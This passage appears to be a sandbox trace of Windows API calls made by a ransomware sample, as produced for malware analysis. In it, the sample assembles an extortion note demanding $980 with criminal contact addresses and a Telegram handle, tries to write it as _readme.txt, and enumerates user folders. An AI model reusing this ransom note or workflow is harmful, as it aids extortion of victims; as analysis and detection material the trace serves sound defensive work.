[0116.595] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.595] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.595] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.595] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.595] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.595] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.596] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.596] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.596] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.596] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.596] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.596] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.596] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.596] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.596] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.596] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.596] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.596] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.596] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.596] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.596] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.596] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.596] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.596] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.596] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.596] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.596] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.596] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.596] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.596] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.596] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.596] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.596] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.596] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.596] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.596] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.596] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.596] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f4110 [0116.597] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.597] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4110 | out: hHeap=0xd10000) returned 1 [0116.597] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.597] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.597] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.597] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.597] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.597] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.597] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5650 [0116.597] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5650 | out: hHeap=0xd10000) returned 1 [0116.597] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.597] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.597] PathFindFileNameW (pszPath="C:\\Config.Msi\\") returned="Config.Msi\\" [0116.597] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.597] PathFindFileNameW (pszPath="") returned="" [0116.597] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.597] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.597] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f5650 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.597] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.598] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c70 | out: hHeap=0xd10000) returned 1 [0116.598] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5650 | out: hHeap=0xd10000) returned 1 [0116.598] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947bd0 | out: hHeap=0xd10000) returned 1 [0116.598] PathAppendW (in: pszPath="C:\\Config.Msi\\", pMore="_readme.txt" | out: pszPath="C:\\Config.Msi\\_readme.txt") returned 1 [0116.598] PathFileExistsW (pszPath="C:\\Config.Msi\\_readme.txt") returned 0 [0116.598] lstrcpyW (in: lpString1=0x39f9f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.598] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.598] CreateFileW (lpFileName="C:\\Config.Msi\\_readme.txt" (normalized: "c:\\config.msi\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.598] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dd3b8 | out: hHeap=0xd10000) returned 1 [0116.598] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0116.598] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.598] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0xffffffff [0116.598] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947bd0 | out: hHeap=0xd10000) returned 1 [0116.598] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ce8 | out: hHeap=0xd10000) returned 1 [0116.598] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.598] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.598] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.599] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.599] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.599] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.599] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.599] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.599] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.599] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.599] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.599] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.599] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.599] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.599] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.599] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.599] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.599] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.599] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.599] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.599] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.599] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.599] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.599] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ce8 | out: hHeap=0xd10000) returned 1 [0116.600] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.600] PathFindFileNameW (pszPath="") returned="" [0116.600] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.600] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.600] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f5650 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.600] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.600] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947bd0 | out: hHeap=0xd10000) returned 1 [0116.600] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5650 | out: hHeap=0xd10000) returned 1 [0116.600] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c70 | out: hHeap=0xd10000) returned 1 [0116.600] FindFirstFileW (in: lpFileName="C:\\Users\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.600] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c70 | out: hHeap=0xd10000) returned 1 [0116.600] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.600] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6bf02a10, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x6bf02a10, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 1 [0116.600] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e28 [0116.600] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960eb8 [0116.600] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960f48 [0116.600] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960eb8 | out: hHeap=0xd10000) returned 1 [0116.601] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e28 | out: hHeap=0xd10000) returned 1 [0116.601] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0116.601] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb50 [0116.601] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ed10 [0116.601] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ec68 [0116.601] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ed10 | out: hHeap=0xd10000) returned 1 [0116.601] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eb50 | out: hHeap=0xd10000) returned 1 [0116.601] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0116.601] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb50 [0116.601] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ed10 [0116.601] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ebc0 [0116.601] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ed10 | out: hHeap=0xd10000) returned 1 [0116.601] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eb50 | out: hHeap=0xd10000) returned 1 [0116.601] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0116.601] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb50 [0116.601] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ed10 [0116.601] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ebf8 [0116.601] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ed10 | out: hHeap=0xd10000) returned 1 [0116.601] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eb50 | out: hHeap=0xd10000) returned 1 [0116.601] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0116.601] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c70 [0116.601] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb50 [0116.601] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c70 | out: hHeap=0xd10000) returned 1 [0116.601] PathFindExtensionW (pszPath="C:\\Users\\desktop.ini") returned=".ini" [0116.601] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eb50 | out: hHeap=0xd10000) returned 1 [0116.601] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1 [0116.601] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c70 [0116.601] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb50 [0116.601] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 0 [0116.601] FindClose (in: 